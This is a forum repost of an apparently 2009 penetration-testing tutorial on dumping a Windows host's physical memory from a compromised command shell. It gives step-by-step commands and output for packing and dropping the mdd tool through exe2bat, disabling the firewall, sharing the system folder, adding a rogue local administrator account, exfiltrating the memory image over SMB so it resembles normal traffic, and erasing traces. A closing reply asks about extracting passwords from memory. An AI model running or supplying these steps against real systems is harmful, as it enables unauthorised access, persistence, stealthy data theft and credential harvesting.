» Dumping Memory thru Command Shell

[MaXe]

[Thanks to DarkOperator for this Article]

Since in my last post I covered how to do this in meterpreter with the
script I wrote, I decided to show how to do the same from command shell
and you will see why I love Meterpreter and scripting Meterpreter so much!!


We start by downloading mdd in to our Backtrack4 machine.

root@bt:/pentest/windows-binaries# wget http://voxel.dl.sourceforge.net/sour...dd/mdd_1.3.exe
--2009-03-10 14:01:49-- http://voxel.dl.sourceforge.net/sour...dd/mdd_1.3.exe

Resolving voxel.dl.sourceforge.net... 72.26.194.82

Connecting to voxel.dl.sourceforge.net|72.26.194.82|:80... connected.

HTTP request sent, awaiting response... 200 OK

Length: 95104 (93K) [application/octet-stream]

Saving to: `mdd_1.3.exe'

100%[================================================== ===============>] 95,104 175K/s in 0.5s

2009-03-10 14:01:49 (175 KB/s) - `mdd_1.3.exe' saved [95104/95104]

We will be using exe2bat.exe that is available in the /pentest/windows-
binaries/tools to be able to use this tool the executable has to be 64k or
less do to the limitations of the windows debug command. When we check
the size of the executable we can see that it is 93k of size.

root@bt:/pentest/windows-binaries# ls -lh mdd*

-rw-r--r-- 1 root root 93K 2009-01-27 12:48 mdd_1.3.exe

We can compress the executable with UPX so as to be able to meet the 64k requirement, in Backtrack4 it will have to be installed using apt-get.

root@bt:/pentest/windows-binaries# upx -2 -o mdd.exe mdd_1.3.exe

Ultimate Packer for eXecutables

Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005, 2006,2007

UPX 3.01 Markus Oberhumer, Laszlo Molnar & John Reiser Jul 31st 2007

File size Ratio Format Name

-------------------- ------ ----------- -----------

95104 -> 55168 58.01% win32/pe mdd.exe

Packed 1 file.

As you can see the executable is know 55k in size. In Backtrack 4 we use
wine to run the exe2bat.exe executable to convert the exe into a batch file
that we can paste in shell that will use debug to generate our executable
on the target host.

root@bt:/pentest/windows-binaries/tools# wine exe2bat.exe ../mdd.exe mdd.txt

Finished: ../mdd.exe > mdd.txt

We take the content of the mdd.txt and paste it into our command shell,
you will see that you might get an error on the last line pasted, this is expected.

c:\Windows\System32>copy 1.dll ../mdd.exe

The syntax of the command is incorrect.

The problem was the case of the dll name (first time I have ever noticed that copy is case sensitive).

c:\Windows\System32>copy 1.dll ../mdd.exe

The syntax of the command is incorrect.

c:\Windows\System32>copy 1.DLL mdd.exe

1 file(s) copied.

c:\Windows\System32>mdd

-> mdd

-> ManTech Physical Memory Dump Utility

Copyright (C) 2008 ManTech Security & Mission Assurance

-> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'

This is free software, and you are welcome to redistribute it

under certain conditions; use option `-c' for details.

-> ERROR: must specify output filename; use -h for usage

c:\Windows\System32>

We can perform a check of the size of the physical memory on the target host with systeminfo this will give us an estimate of the image file that will be generated.

c:\Windows\System32>systeminfo | find /i "physical"

Total Physical Memory: 3,070 MB

Available Physical Memory: 859 MB

Now that mdd is on the target machine we can make an image of the memory, and dumping it locally.

c:\Windows\System32>mdd.exe -o memimg.dd

-> mdd

-> ManTech Physical Memory Dump Utility

Copyright (C) 2008 ManTech Security & Mission Assurance

-> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w'

This is free software, and you are welcome to redistribute it

under certain conditions; use option `-c' for details.

-> Dumping 3070.34 MB of physical memory to file 'memimg.dd'.

773770 map operations succeeded (0.98)

12236 map operations failed

took 137 seconds to write

MD5 is: 888b9663c5d760f36f5b948ed92bef23

Once the image has been made we can use several methods to transfer the
image to our target machine, this may be by tfpt, scripting ftp, mounting a
share from our machine that we configured with samba or we can even
create a share of our own and connect to it. I will demonstrate the task of
creating a share since it might be the most useful when working in large
teams against a single target host and most of the steps can be of use to
others in different scenarios, we can share the folder and disable the local
built in firewall to be able to gain access to the share.

c:\Windows\System32>net share img=c:\windows\system32

img was shared successfully.

c:\Windows\System32>netsh.exe firewall set opmode disable
Ok.

Before we create and account we can check the Account Security Policy
settings so as to save time by not doing trial and error on password length
while creating our account for access.

c:\Windows\System32>net accounts

Force user logoff how long after time expires?: Never

Minimum password age (days): 0

Maximum password age (days): 455

Minimum password length: 12

Length of password history maintained: 6

Lockout threshold: 10

Lockout duration (minutes): 60

Lockout observation window (minutes): 5

Computer role: WORKSTATION

The command completed successfully.

Now that we know the password length we can create and account and
add it to the local Administrators we will use this account to mount the
share we created.

c:\Windows\System32>net user /add SUPPORT_3089 P@ssword0001

The command completed successfully.

c:\Windows\System32>net localgroup Administrators /add SUPPORT_3089

The command completed successfully.

Next we mount the share on our machine with the smbmount command and the credential of the user we created.

root@bt:/pentest/windows-binaries/tools# smbmount //192.168.1.192/img /mnt/img -o user=SUPPORT_3089,pass=P@ssword0001

Now that we have mounted the share we can copy over the file, this will
look for anyone looking like a normal file transfer. As you will can see the
image size is of 3GB.

root@bt:/mnt/img# ls -lh memimg.dd

-rwxrwSrwx 1 root root 3.0G 2009-03-10 14:50 memimg.dd

Once we have copied over the image we must perform clean up of everything we did on the target host.

c:\Windows\System32>del memimg.dd

c:\Windows\System32>del mdd.exe

c:\Windows\System32>net share /del img

img was deleted successfully.

c:\Windows\System32>net user /del SUPPORT_3089

The command completed successfully.

c:\Windows\System32>netsh firewall set opmode enable
Ok.

I hope you have found this post of great use and please do share opinions and ideas.

[fox33]

waith this Article can i Dumping Passwords from Memory
thanks